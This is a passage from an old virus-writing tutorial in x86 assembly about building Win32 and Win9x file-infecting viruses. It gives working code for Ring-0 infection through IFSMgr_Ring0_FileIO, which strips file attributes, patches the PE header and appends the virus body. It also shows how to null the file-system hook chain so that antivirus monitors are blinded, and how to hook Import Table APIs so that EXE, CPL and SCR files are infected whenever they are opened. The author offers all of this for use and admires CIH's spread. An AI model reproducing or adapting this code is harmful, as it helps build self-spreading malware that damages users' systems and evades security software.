R0_WRITEFILE_IN_CONTEXT equ     0D603h  ; Write to a file, in thread context
R0_CLOSEFILE            equ     0D700h  ; Close a file
R0_GETFILESIZE          equ     0D800h  ; Get size of a file
R0_FINDFIRSTFILE        equ     04E00h  ; Do a LFN FindFirst operation
R0_FINDNEXTFILE         equ     04F00h  ; Do a LFN FindNext operation
R0_FINDCLOSEFILE        equ     0DC00h  ; Do a LFN FindClose operation
R0_FILEATTRIBUTES       equ     04300h  ; Get/Set Attributes of a file
R0_RENAMEFILE           equ     05600h  ; Rename a file
R0_DELETEFILE           equ     04100h  ; Delete a file
R0_LOCKFILE             equ     05C00h  ; Lock/Unlock a region in a file
R0_GETDISKFREESPACE     equ     03600h  ; Get disk free space
R0_READABSOLUTEDISK     equ     0DD00h  ; Absolute disk read
R0_WRITEABSOLUTEDISK    equ     0DE00h  ; Absolute disk write
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.
```

Charming functions, ain't them? :) If we take a look, it remembers us the DOS int 21h functions. But this is better :)

Well, let's save the old file attributes. As you can see, this function is inside the list i gave you before. We pass this parameter (4300h) in EAX for obtain the file attributes, in ECX. So, after that, we push it, and the file name, that is in ESI.

```
      lea    esi,[ebx+fname]        ; Pointer to file name
      mov    eax,R0_FILEATTRIBUTES   ; EAX = 4300h
      push   eax                    ; Save it goddamit
      VxDCall IFSMgr_Ring0_FileIO     ; Get attributes
      pop    eax                    ; Restore 4300h from stack
      jc     notsofunny              ; Something went wrong (?)

      push   esi                    ; Push pointer to file name
      push   ecx                    ; Push attributes
```

Now we must wipe them from the universe. No problem. The function for set file attributes is, as before in IFSMgr_Ring0_FileIO, but now is 4301h. As you can see this value is just as in DOS :)

```
      inc    eax                    ; 4300h+1=4301h :)
      xor    ecx,ecx                 ; No attributes sucker!
      VxDCall IFSMgr_Ring0_FileIO     ; Set new attributes (wipe'em)
      jc     stillnotsofunny          ; Error (?!)
```

We have a file without attributes waiting for us now... what should we do? Heh. I thought you were smarter. Let's open it! :) Well, as all in this part of the virus, we have to call IFSMgr_Ring0_FileIO, but now passing to it in EAX the value for open files, that is D500h.

```
      lea    esi,[ebx+fname]        ; Put in ESI the file name
      mov    eax,R0_OPENCREATFILE    ; EAX = D500h
      xor    ecx,ecx                 ; ECX = 0
      mov    edx,ecx
      inc    edx                    ; EDX = 1
      mov    ebx,edx
      inc    ebx                    ; EBX = 2
      VxDCall IFSMgr_Ring0_FileIO
      jc     stillnotsofunny          ; Shit.

      xchg   eax,ebx                 ; Optimize a bit, sucka! :)
```

Now we have in EBX the handle of the opened file, so it would be perfect if you don't use this register for anything until the file is closed, okay? :) Well, now it's your time to read the PE header of file, and store it (and manipulate), then update the header, and append the virus... Well, here i'll only explain how to arrive just to before the place where we have to handle properly the PE header, because it is another part of the document, and i don't want to be so much repetitive. Well, i'm gonna explain how to put in our buffer the PE header. It's preety easy: as you remember, the PE header begin just in the offset pointed by 3Ch (from BOF, ofc0z). Well, then we must read 4 bytes (this DWORD in 3Ch), and read again in the offset where it points, and this time, 400h bytes, enough for handle the whole PE header. As you could imagine, the function for read in files is included in the wonderful IFSMgr_Ring0_FileIO, and you can see the right function number in the table i gave you before, in R0_READFILE. The parameters passed to this function are the following:

EAX = R0_READFILE = D600h
EBX = File Handle
ECX = Number of bytes to read
EDX = Offset where we should read
ESI = Where will go the read bytes

```
       call    inf_delta             ; If you  remember, we  had the delta
inf_delta:                           ; offset in EBX, but  after open  the
       pop     ebp                   ; file we have in EBX the file handle
       sub     ebp,offset inf_delta    ; so we have to calculate it again.

       mov     eax,R0_READFILE         ; D600h
       push    eax                   ; Save it for later
       mov     ecx,4                 ; Bytes to read, a DWORD
       mov     edx,03Ch               ; Where read (BOF+3Ch)
       lea     esi,[ebp+pehead]        ; There goez the PE header offzet
       VxDCall IFSMgr_Ring0_FileIO      ; The VxDCall itself

       pop     eax                   ; restore R0_READFILE from stack

       mov     edx,dword ptr [ebp+pehead] ; Where the PE header begins
       lea     esi,[ebp+header]        ; Where write the read PE header
       mov     ecx,400h               ; 1024 bytes, enough for all PE head.
       VxDCall IFSMgr_Ring0_FileIO
```

Now we have to see if the file we have just opened is a PE file, by seeing its marker. We have in ESI the pointer to the buffer where we put the PE header, so just compare the first DWORD in ESI for PE,0,0 (or simply PE by using WORD comparison) ;)

```
       cmp     dword ptr [esi],"EP"    ; Is it PE?
       jnz     muthafucka
```

Now you check for your previous infection, and if it was previously infected, just go to the precedures for close file and such like. As i said before, i will skip the code of modificating PE header, as it is assumed that you know how to do it. Well, imagine you have already modificated the PE header properly in the buffer (in my code, the variable is called header). It's time to write the new header in the PE file. The values that the registers should have are moreless the same than in R0_READFILE function. Well, anyway i'm gonna write them:

```
EAX = R0_WRITEFILE = D601h
EBX = File Handle
ECX = Number of bytes to write
EDX = Offset where we should write
ESI = Offset of the bytes we want to write
```

```
        mov     eax,R0_WRITEFILE               ; D601h
        mov     ecx,400h                      ; write 1024 bytez (buffer)
        mov     edx,dword ptr [ebp+pehead]      ; where to write (PE offset)
        lea     esi,[ebp+header]               ; Data to write
        VxDCall IFSMgr_Ring0_FileIO
```

We have just wrote the header. Now, we have only to append the virus. I decided to append it at EOF direcly, because my way of modificating PE... Well, i did it in this way. But don't worry, is easy to adapt to your infection methods, as i assume you understood how it works. Just before append the virus body, remember that we should fix all VxDCallz, as they are transformed in callbacks in memory. Remember the VxDFix procedure i taught you in this same document. By the way, as we append in EOF, we should know how many bytes it ocuppies. Preety easy, we have a function in IFSMgr_Ring0_FileIO (how not!) that does the job: R0_GETFILESIZE. Let's see its input parameterz:

```
EAX = R0_GETFILESIZE = D800h
EBX = File Handle
```

And returs us in EAX the size of the file owner of the handler, that is the file we are trying to infect.

```
        call    VxDFix                        ; Re-make all INT 20h's

        mov     eax,R0_GETFILESIZE             ; D800h
        VxDCall IFSMgr_Ring0_FileIO
                                             ; EAX = File size
        mov     edx,R0_WRITEFILE               ; EDX = D601h
        xchg    eax,edx                       ; EAX = D601; EDX = File size
```

```
      lea    esi,[ebp+virus_start]         ; What to write
      mov    ecx,virus_size               ; How much bytez to write
      VxDCall IFSMgr_Ring0_FileIO
```

Well, only some things left to do. Just close the file and restore its old attributes. Well, of course the close file function is in our beloved IFSMgr_Ring0_FileIO, now function D700h. Let's see its input parameters:

```
EAX = R0_CLOSEFILE = 0D700h
EBX = File Handle
```

And now its code:

```
muthafucka:
      mov    eax,R0_CLOSEFILE
      VxDCall IFSMgr_Ring0_FileIO
```

Well, only one thing left to do (kewl!). Restore the old attributes.

```
stillnotsofunny:
      pop    ecx                          ; Restore old attributos
      pop    esi                          ; Restore ptr to FileName
      mov    eax,4301h                     ; Set attributes function
      VxDCall IFSMgr_Ring0_FileIO

notsofunny:
      ret
```

And that's all! :) By the way, all those "VxDCall IFSMgr_Ring0_FileIO" is better to have in a subroutine, and call it with a simple call: it's more optimized (if you use the VxDCall macro i showed to you), and it much better because with only place an offset in VxDFix's table the job is done.

% Anti VxD monitors code %

Oh, i mustn't forgot the guy that discovered this: Super/29A. After this, i should explain in what consists such a kewl thing. It's relative to the already seen InstallFileSystemApiHook service, but it's undocumented by the guyz of Micro$oft. The InstallFileSystemApiHook service returns us an interesting structure:

```
EAX + 00h -> Address of previous handler
EAX + 04h -> Hook_Info structure
```

And, as you are thinking now, the most important is the Hook_Info structure:

00h -> Address of hook handler, the one of this structure
04h -> Address of hook handler from previous handler
08h -> Address of Hook_Info from previous handler

So, we make a recursive search through the structure until reach the first one, the top chain that is used by monitors... and then we must nulify it. Code? Here you have a portion :)

```
 ; EDI = Points to virus copy in system heap

       lea    ecx,[edi+New_Handler]          ; Install FileSystem Hook
       push   ecx
@@2:    VxDCall IFSMgr_InstallFileSystemApiHook
       pop    ecx

       xchg   esi,eax                      ; ESI = Ptr actual hook
                                          ;      handler
       push   esi
       lodsd ; add esi,4                    ; ESI = Ptr to Hook Handler
tunnel: lodsd                              ; EAX = Previous Hook Handler
                                          ; ESI = Ptr to Hook_Info
       xchg   eax,esi                      ; Very clear :)

       add    esi,08h                      ; ESI = 3rd dword in struc:
                                          ;      previous Hook_Info

       js     tunnel                       ; If ESI < 7FFFFFFF, it was
                                          ; the last one :)
                                          ; EAX = Hook_Info of the top
                                          ; chain

       mov    dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
       pop    eax                          ; EAX = Last hook handler
       [...]
```

Don't worry if you don't understand this the first time: imagine the time i had to spent reading Sexy's code for understand it! Well, we have stored in a variable the Top Chain, but we have to nulify it at the infection time, and later we have to restore it. The following code fragment must go between the code where we checked for a system request for open file, and we know that the call isn't made by our own virus, and just before calling the infection.

```
        lea     esi,dword ptr [ebx+top_chain]   ; ESI = Ptr to stored variable
        lodsd                                  ; EAX = Top Chain
        xor     edx,edx                         ; EDX = 0
        xchg    [eax],edx                        ; Top Chain = NULL
                                               ; EDX = Address of Top Chain
        pushad
        call    Infection
        popad

        mov     [eax],edx                       ; Restore Top Chain
```

This was easier, huh? :) All concepts ("Hook_Info", "Top Chain", etc) are also (c) from Super, so go and punish him :)

% Last words %

I must thank the 3 most important people that helped me while coding my first Ring-0 stuff: Super, Vecna and nIgr0 (you are the g0dz!). Well, is there something else to say? Ehrrm... yeah. Ring-0 is our sweet dream under Win9X, yes. But is has a limited life. Doesn't matter if we, the VXers, find a way for get Ring-0 privilege in systems such as NT, or the future Win2000 (NT5). Micro$oft will make a patch or a Service Pack for fix all those possible bugs. Anyway, it's very interesting to code a Ring-0 virus. For me the experience has been funny, and helped me to know more about Windoze internal structure. I hope it will help to you too. Note that Ring-0 viruses are very infectious. System tries to open files almost for bullshits. Well, just see that one of the most infectious, fast and spread virus nowadays is a Ring-0 virus, CIH.

Per-Process residency

Well, a very interesting theme for discussion: the per-process residency, the only one that is reliable for all Win32 platforms. I have put this chapter separated from Ring-3 chapter because i think it's an evolution of it, a too complex thingy for be in an initialization chapter as is Ring-3 one.

% Introduction %

The per-process residence was made firstly by Jacky Qwerty, from the 29A virus group, in 1997. Besides it was (for the media, not really - Win32.Jacky) the first Win32 virus, it was also the first Win32 resident virii, using a neverseen before technique: the per-process residence. And then you wonder 'what the fuck is the per-process residence?'. Well, i've explained that in an article of DDT#1, but here i will make a much more deep analisys of this method. Basically, you have to understand how Win32, and its PE executables work. When you call an API, you are calling to an address that is stored by the system at runtime in the Import Table, that points to the API entrypoint in the DLL that owns that API. For make a per-process resident, you will have to play with the Import Table, and change there the value of the API address you want to hook for point to your own code, the code that is able to handle that determinated API, thus infecting the file that API handled. I know it's a little bit messy, and hard to understand, but as everything on virus coding, at the beginning seems difficult, but after is very easy :)

--[DDT#1.2_4]---

Well, this is the only known way i know for make Win32 viruses to be resident. Yes, you have read Win32 and not Win9X. This is because this method can work also under WinNT. First of all you must know what a process is. The thing that surprised me more is that the people that is beginning in the windows programming know what this is, and know what this method is, but they ussually don't know his name. Well, when we execute a Windows application, that is a process :) Very easy to understand. And what does this residence way? First of all we must allocate memory, for put virus body there, but this memory is from the own process that we are executing. So, we allocate some memory that the system gives to the process. It could be made by using the API "VirtualAlloc". But... what for hook APIs? Well, the most useful solution that comes to my mind now is to change the API's addresses in the import table. It is, under my viewpoint, the only possible way. As the import could be written, this is more easy, and we don't need the help of any function of the VxDCALL0...

But the weak point of this kinda residence is here too... as we look in the import we can only work with the imported functions, and the infection rate depends higly of what file we have infected. For example, if we infect the CMD.EXE of WinNT, and we have a handler for FindFirstFile(A/W) and FindNextFile(A/W), that infects all the files that are found using that APIs That makes our virii very infectious, mainly because that APIs're higly used when we make a DIR command under WinNT. Anyway, the Per-Process method is very weak if we don't make the virus that uses that method to have any other ways for make it more infectious, such as in Win32.Cabanas, a runtime part. Well, we make that runtime part to infect each time some files in the \WINDOWS and \WINDOWS\SYSTEM directories. Another good choice is, as i said before in the example with CMD.EXE, hit that very special files directly in the first infection of a system...

--[DDT#1.2_4]---

I've written it in December of 1998, and since then i realized that it could be done without allocating memory, but anyway, i put that for make you under stand it better.

% The Import Table handling %

Here follows the structure of the Import Table.

IMAGE_IMPORT_DESCRIPTOR

```
┌─────────────────────────────────────┐ 1─── +00000000h
│         Characteristics             │      Size : 1 DWORD
├─────────────────────────────────────┤ 1─── +00000004h
│         Time Date Stamp             │      Size : 1 DWORD
├─────────────────────────────────────┤ 1─── +00000008h
│         Forwarder Chain             │      Size : 1 DWORD
├─────────────────────────────────────┤ 1─── +0000000Ch
│         Pointer to Name             │      Size : 1 DWORD
├─────────────────────────────────────┤ 1─── +00000010h
│           First Thunk               │      Size : 1 DWORD
└─────────────────────────────────────┘
```

And now let's see what Matt Pietrek says about it.

DWORD   Characteristics

At one time, this may have been a set of flags. However, Microsoft changed its meaning and never bothered to update WINNT.H. This field is really an offset (an RVA) to an array of pointers. Each of these pointers points to an IMAGE_IMPORT_BY_NAME structure.

DWORD   TimeDateStamp

The time/date stamp indicating when the file was built.

DWORD   ForwarderChain

This field relates to forwarding. Forwarding involves one DLL sending on references to one of its functions to another DLL. For example, in Windows NT, NTDLL.DLL appears to forward some of its exported functions to KERNEL32.DLL. An application may think it's calling a function in NTDLL.DLL, but it actually ends up calling into KERNEL32.DLL. This field contains an index into FirstThunk array (described momentarily). The function indexed by this field will be forwarded to another DLL. Unfortunately, the format of how a function is forwarded isn't documented, and examples of forwarded functions are hard to find.

DWORD   Name

This is an RVA to a NULL-terminated ASCII string containing the imported DLL's name. Common examples are "KERNEL32.DLL" and "USER32.DLL".

PIMAGE_THUNK_DATA FirstThunk

This field is an offset (an RVA) to an IMAGE_THUNK_DATA union. In almost every case, the union is interpreted as a pointer to an IMAGE_IMPORT_BY_NAME structure. If the field isn't one of these pointers, then it's supposedly treated as an export ordinal value for the DLL that's being imported. It's not clear from the documentation if you really can import a function by ordinal rather than by name. The important parts of an IMAGE_IMPORT_DESCRIPTOR are the imported DLL name and the two arrays of IMAGE_IMPORT_BY_NAME pointers. In the EXE file, the two arrays (pointed to by the Characteristics and FirstThunk fields) run parallel to each other, and are terminated by a NULL pointer entry at the end of each array. The pointers in both arrays point to an IMAGE_IMPORT_BY_NAME structure.

Now, as you know Matt Pietrek's (G0D) definitions, i will put here the needed code for get an API address from Import Table, and the address where is the offset to the API (what we will have to change, but more about this later).

```
;──[ CUT HERE ]─────────────────────────────────────────────────────────────
;
; GetAPI_IT procedure
; ──────────────────────┘
;
; Here goes the code that is able to get some information from the Import Ta-
; ble.
```

```
;

 GetAPI_IT      proc

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; Ok, let's rock. The parameters that this function needs and returns are  ;
 ; the following:                                                            ;
 ;                                                                          ;
 ; INPUT  0 EDI : Pointer to the API name (case sensitive)                  ;
 ; OUTPUT 0 EAX : API address                                               ;
 ;          EBX : Address of the API address in the import table            ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

        mov     dword ptr [ebp+TempGA_IT1],edi  ; Save ptr to name
        mov     ebx,edi
        xor     al,al                           ; Search for "\0"
        scasb
        jnz     $-1
        sub     edi,ebx                         ; Obtain size of name
        mov     dword ptr [ebp+TempGA_IT2],edi  ; Save size of name

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; We firstly save the pointer to the API name in a temporal variable, and  ;
 ; after that we search for the end of that string, marked by a 0,and after ;
 ; that we substract the to new value of EDI (which points to the 0) its    ;
 ; old value, thus obtaining the API Name's size. Charming, isn't it? After ;
 ; those thingies, we store the size of the API Name in another temporal va ;
 ; riable.                                                                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

        xor     eax,eax                         ; Make zero EAX
        mov     esi,dword ptr [ebp+imagebase]   ; Load process imagebase
        add     esi,3Ch                         ; Pointer to offset 3Ch
        lodsw                                   ; Get process PE header
        add     eax,dword ptr [ebp+imagebase]   ; address (normalized!)
        xchg    esi,eax
        lodsd

        cmp     eax,"EP"                        ; Is it really a PE?
        jnz     nopes                           ; Shit!

        add     esi,7Ch
        lodsd                                   ; Get address
        push    eax
```

```
      lodsd                           ; EAX = Size
      pop     esi
      add     esi,dword ptr [ebp+imagebase]

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; The first thing we do is to clear EAX, because we don't want shit at its ;
; MSW. After that, what we pretend is to know is that the imagebase we    ;
; have is reliable to be used, so we check for PE signature on the header  ;
; of the own host. If everything is okay, we get a pointer to the Import   ;
; Table section (.idata).                                          ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

SearchK32:
      push    esi
      mov     esi,[esi+0Ch]                ; ESI = Pointer to name
      add     esi,dword ptr [ebp+imagebase]   ; Normalize
      lea     edi,[ebp+K32_DLL]             ; Ptr to "KERNEL32.dll",0
      mov     ecx,K32_Size                 ; ECX = Size of above string
      cld                                 ; Clear Direction Flag
      push    ecx                          ; Save size for later
      rep     cmpsb                        ; Compare bytes
      pop     ecx                          ; Restore size
      pop     esi                          ; Restore ptr to import
      jz      gotcha                       ; If matched, jump
      add     esi,14h                      ; Get another field
      jmp     SearchK32                    ; Loop again

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Firstly we push again ESI, as we will need it to be saved, because as u  ;
; know, it's the start of .idata section. After that, we get in ESI the    ;
; RVA of Name ASCIIz strings (pointerz), and after that we normalize that  ;
; value with imagebase, thus turning it into an VA. After that, we put in  ;
; EDI the pointer to "KERNEL32.dll" string, after in ECX we load its size  ;
; (of the string), we compare the 2 strings, and if they aren't equal, we  ;
; try to get another matching string.                                ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

gotcha:
      cmp     byte ptr [esi],00h            ; Is OriginalFirstThunk 0?
      jz      nopes                        ; Fuck off if it is.
      mov     edx,[esi+10h]                ; Get FirstThunk :)
      add     edx,dword ptr [ebp+imagebase]   ; Normalize!
      lodsd
      or      eax,eax                      ; Is it 0?
```

```
        jz      nopes                          ; Shit...

        xchg    edx,eax                        ; Get pointer to it!
        add     edx,[ebp+imagebase]
        xor     ebx,ebx

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Firstly we check if OriginalFirstThunk field is NULL, and if it is, we   ;
; exit with an error of the routine. After that we get FirstThunk value,   ;
; and normalizing it by adding the imagebase, and we check if it's 0 (if   ;
; it is, we have a problem, thus we exit). After that we put in EDX that   ;
; address (FirstThunk), and we normalize, and in EAX we preserve the ptr   ;
; to FirstThunk field.                                              ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

loopy:
        cmp     dword ptr [edx],00h             ; Last RVA? Duh...
        jz      nopes
        cmp     byte ptr [edx+03h],80h          ; Ordinal? Duh...
        jz      reloop

        mov     edi,dword ptr [ebp+TempGA_IT1]  ; Get pointer to API name
        mov     ecx,dword ptr [ebp+TempGA_IT2]  ; Get API name size
        mov     esi,[edx]                       ; We retrieve the current
        add     esi,dword ptr [ebp+imagebase]   ; pointed imported api string
        inc     esi
        inc     esi
        push    ecx                            ; Save its size
        rep     cmpsb                          ; Compare both stringz
        pop     ecx                            ; Restore it
        jz      wegotit
reloop:
        inc     ebx                            ; Increase counter
        add     edx,4                          ; Get another ptr to another
        loop    loopy                          ; imported API and loop

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; Firstly we check if we are in the last item of the array (marked by null ;
; character), and if it is, we go away. After that, we check if it's an   ;
; ordinal, and if it is, we get another one. After comes the interesting   ;
; stuff: we put in EDI the previously stored pointer to the API name we    ;
; are searching for, in ECX we have the size of that string, and we put in ;
; ESI the pointer of the current API in the import table. We make the com- ;
; parison between that two strings, and if they aren't equal, we retrieve  ;
; another one until we find it or we reached the last API in the import   ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

wegotit:
       shl     ebx,2                        ; Multiply per 4 (dword size)
       add     ebx,eax                      ; Add to FirstThunk value
       mov     eax,[ebx]                    ; EAX = API address ;)
       test    al,0                         ; This is for avoid a jump,
       org     $-1                          ; thus optimizing a little :)
nopes:
       stc                                  ; Error!
       ret

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Very simple: as we had the counter in EBX, and the array was an array of ;
; DWORDs, we multiply it by 4 (for get the offset relative to FirstThunk   ;
; that marks the API address), and after that we have in EBX the pointer   ;
; to the wanted API address in the import table, and in EAX we have the   ;
; API address. Perfect :)                                                 ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

GetAPI_IT      endp

;——[ CUT HERE ]——————————————————————————————————————————————————————————————
```

Ok, now we know how to play with the import table. But we need some more thingies!

% Getting imagebase at runtime %
────────────────────────────────

One of the most common errors is to think that imagebase will be always constant, or it will be always 400000h. But this is very far away from the truth. Doesn't matter what imagebase you have in the header, it can easily be changed by the system at execution time, so we would be accessing to an incorrect address and we could have unexpected reactions. So the way for obtain it is very easy. Simply get the usual delta-offset routine.

```
virus_start:
       call    tier                         ; Push in ESP return address
tier:  pop     ebp                          ; Get that ret address
       sub     ebp,offset realcode          ; And sub initial offset
```

Ok? So, for example, let's imagine that execution began at 401000h (as about all the TLINKed files). So when we make the POP, we would have in EBP something as 00401005h. So what you get if you substract to it tier-virus_start and to the result, we substract again the current EIP (that is 1000h in all TLINKed files)? Yes, you get the imagebase! So there would be as follows:

```
virus_start:
      call    tier                          ; Push in ESP return address
tier:  pop     ebp                          ; Get that ret address
      mov     eax,ebp
      sub     ebp,offset realcode             ; And sub initial offset
      sub     eax,00001000h                  ; Sub current EIP (should be
NewEIP equ     $-4                          ; patched at infection time)
      sub     eax,(tier-virus_start)          ; Sub some shit :)
```

And don't forget to patch NewEIP variable at infection time (if you modify the EIP), so it has ALWAYS to be equal to the value at offset 28h of the PE header, that is, the RVA of the EIP of the program :)

[My API hooker]

Here goes the complement to my GetAPI_IT routine. This is based in an structure like this:

```
      db      ASCIIz_API_Name
      dd      offset (API_Handler)
```

For example:

```
      db      "CreateFileA",0
      dd      offset HookCreateFileA
```

While HookCreateFileA is a routine that handles the hooked function. And the code i use with this structures is the following:

```
;——[ CUT HERE ]————————————————————————————————————————————————————————

HookAllAPIs:
 lea     edi,[ebp+@@Hookz]               ; Ptr to the first API
nxtapi:
      push    edi                           ; Save the pointer
 call    GetAPI_IT                      ; Get it from Import Table
      pop     edi                           ; Restore the pointer
 jc      Next_IT_Struc_                 ; Fail? Damn...
                                           ; EAX = API Address
```

```
                                        ; EBX = Pointer to API Address
                                        ; in the import table

 xor    al,al                        ; Reach the end of API string
 scasb
 jnz    $-1

      mov    eax,[edi]                     ; Get handler offset
      add    eax,ebp                       ; Adjust with delta offset
      mov    [ebx],eax                     ; And put it in the import!
Next_IT_Struc:
      add    edi,4                        ; Get next structure item :)
 cmp    byte ptr [edi],"!"             ; Reach the last api? Grrr...
      jz     AllHooked                     ; We hooked all, pal
      jmp    nxtapi                       ; Loop again
AllHooked:
 ret

Next_IT_Struc_:
      xor    al,al                        ; Get the end of string
 scasb
 jnz    $-1
      jmp    Next_IT_Struc                  ; And come back :)

@@Hookz label   byte
      db     "MoveFileA",0                  ; Some example hooks
      dd     (offset HookMoveFileA)

      db     "CopyFileA",0
      dd     (offset HookCopyFileA)

      db     "DeleteFileA",0
      dd     (offset HookDeleteFileA)

      db     "CreateFileA",0
      dd     (offset HookCreateFileA)

      db     "!"                          ; End of array :)
;───[ CUT HERE ]─────────────────────────────────────────────────────────────
```

I hope it's enough clear :)

% Generic hooker %

If you realize, there are some APIs that in its parameters the last one pushed is the pointer to an archive (that could be an executable), so we can hook them and apply a generic handler that firstly checks for its extension, so if it's an executable, we can infect it without problems :)

```
;——[ CUT HERE ]——————————————————————————————————————————————————————

; Some variated hooks :)

HookMoveFileA:
      call    DoHookStuff                       ; Handle this call
      jmp     [eax+_MoveFileA]                   ; Pass control 2 original API

HookCopyFileA:
      call    DoHookStuff                       ; Handle this call
      jmp     [eax+_CopyFileA]                   ; Pass control 2 original API

HookDeleteFileA:
      call    DoHookStuff                       ; Handle this call
      jmp     [eax+_DeleteFileA]                 ; Pass control 2 original API

HookCreateFileA:
      call    DoHookStuff                       ; Handle this call
      jmp     [eax+_CreateFileA]                 ; Pass control 2 original API

; The generic hooker!!

DoHookStuff:
      pushad                                  ; Push all registers
      pushfd                                  ; Push all flags
      call    GetDeltaOffset                    ; Get delta offset in EBP
 mov    edx,[esp+2Ch]                    ; Get filename to infect
      mov    esi,edx                           ; ESI = EDX = file to check
reach_dot:
      lodsb                                   ; Get character
 or     al,al                           ; Find NULL? Shit...
      jz     ErrorDoHookStuff                   ; Go away then
 cmp    al,"."                          ; Dot found? Interesting...
      jnz    reach_dot                         ; If not, loop again
      dec    esi                              ; Fix it
 lodsd                                  ; Put extension in EAX
      or     eax,20202020h                     ; Make string lowercase
 cmp    eax,"exe."                       ; Is it an EXE? Infect!!!
```

```
      jz     InfectWithHookStuff
      cmp    eax,"lpc."                ; Is it a CPL? Infect!!!
      jz     InfectWithHookStuff
      cmp    eax,"rcs."                ; Is is a SCR? Infect!!!
      jnz    ErrorDoHookStuff
InfectWithHookStuff:
      xchg   edi,edx                   ; EDI = Filename to infect
      call   InfectEDI                 ; Infect file!! ;)
ErrorDoHookStuff:
 popfd                          ; Preserve all as if nothing
 popad                          ; happened :)
 push   ebp
 call   GetDeltaOffset             ; Get delta offset
      xchg   eax,ebp                   ; Put delta offset in EAX
 pop    ebp
 ret

;——[ CUT HERE ]————————————————————————————————————————————————
```

Some APIs that can be hooked by this generic routine are the following: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA CopyFileExA, OpenFile.

% Last words %

If anything isn't clear, mail me. I will probably illustrate this tutorial with a simple virus with per-process residence, but the only per-process i have coded is too complex and has too many more features than this, so it wouldn't be clear for you :)

Win32 optimization

Ehrm... Super should do this instead me, anyway, as i'm his pupil, i'm gonna write here what i have learnt in the time while i am inside Win32 coding world. I will guide this chapter through local optimization rather than structural optimization, because this is up to you and your style (for example, personally i'm *VERY* paranoid about the stack and delta offset calculations, as you could see in my codes, specially in Win95.Garaipena). This article is full of my own ideas and of advices that Super gave to me in Valencian meetings. He's probably the best optimizer in VX world ever. No lie. I won't discuss here how to optimize to the max as he does. No. I only wan't to make you see the most obvious optimizations that could be done when coding for Win32, for example. I won't comment the VERY obvious optimization tricks, already explained in my Virus Writing Guide for MS-DOS.

% Check if a register is zero %

I'm sick of see the same always, specially in Win32 coders, and this is really killing me slowly and very painfully. No, no, my mind can't assimilate the idea of a CMP EAX,0 for example. Ok, let's see why:

```
        cmp     eax,00000000h                   ; 5 bytes
        jz      bribriblibli                    ; 2 bytes (if jz is short)
```

Heh, i know life's a shit, and you are wasting many code in shitty comparisons. Ok, let't see how to solve this situation, with a code that does the same, but with less bytes.

```
        or      eax,eax                         ; 2 bytes
        jz      bribriblibli                    ; 2 bytes (if jz is short)
```

Or equivalent (but faster!):

```
        test    eax,eax                         ; 2 bytes
        jz      bribriblibli                    ; 2 bytes (if jz is short)
```

And there is a way to do this even more optimized, anyway it's okay if it doesn't matter where should be the content of EAX (after what i am going to put here, EAX content will finish in ECX). Here you have:

```
        xchg    eax,ecx                         ; 1 byte
        jecxz   bribriblibli                    ; 2 bytes (only if short)
```

Do you see? No excuses about "i don' t optimize because i lose stability", because with this tips you will optimize without losing anything besides bytes of code ;) Heh, we passed from a 7 bytes routine to 3 bytes... Heh? what do you say about it? Hahahaha.

% Check if a register is -1 %

As many APIs in Ring-3 return you a value of -1 (0FFFFFFFFh) if the function failed, and as you should compare if it failed, you must compare for that value. But there is the same problem as before, many many people do it by using CMP EAX,0FFFFFFFFh and it could be done more optimized...

```
      cmp    eax,0FFFFFFFFh              ; 5 bytes
      jz     insumision                 ; 2 bytes (if short)
```

Let's do it as it could be more optimized:

```
      inc    eax                       ; 1 byte
      jz     insumision                 ; 2 bytes
      dec    eax                       ; 1 byte
```

Heh, maybe it occupies more lines, but occupies less bytes so far (4 bytes against 7).

% Make a register to be -1 %

This is a thing that almost ALL the virus coders into the new school do:

```
      mov    eax,-1                     ; 5 bytes
```

Don't you realize that it's the worse option you have? Do you have only one neuron? Damn, it's very easy to set it to -1 in a more optimized way:

```
      xor    eax,eax                    ; 2 bytes
      dec    eax                       ; 1 byte
```

Do you see? It's not difficult!

% Clear a 32 bit register and move something to its LSW %

The most clear example is what all viruses do when loading the number of sections of PE file in AX (as this value occupies 1 word in the PE header). Well, let's see what do the majority of VX:

```
      xor    eax,eax                    ; 2 bytes
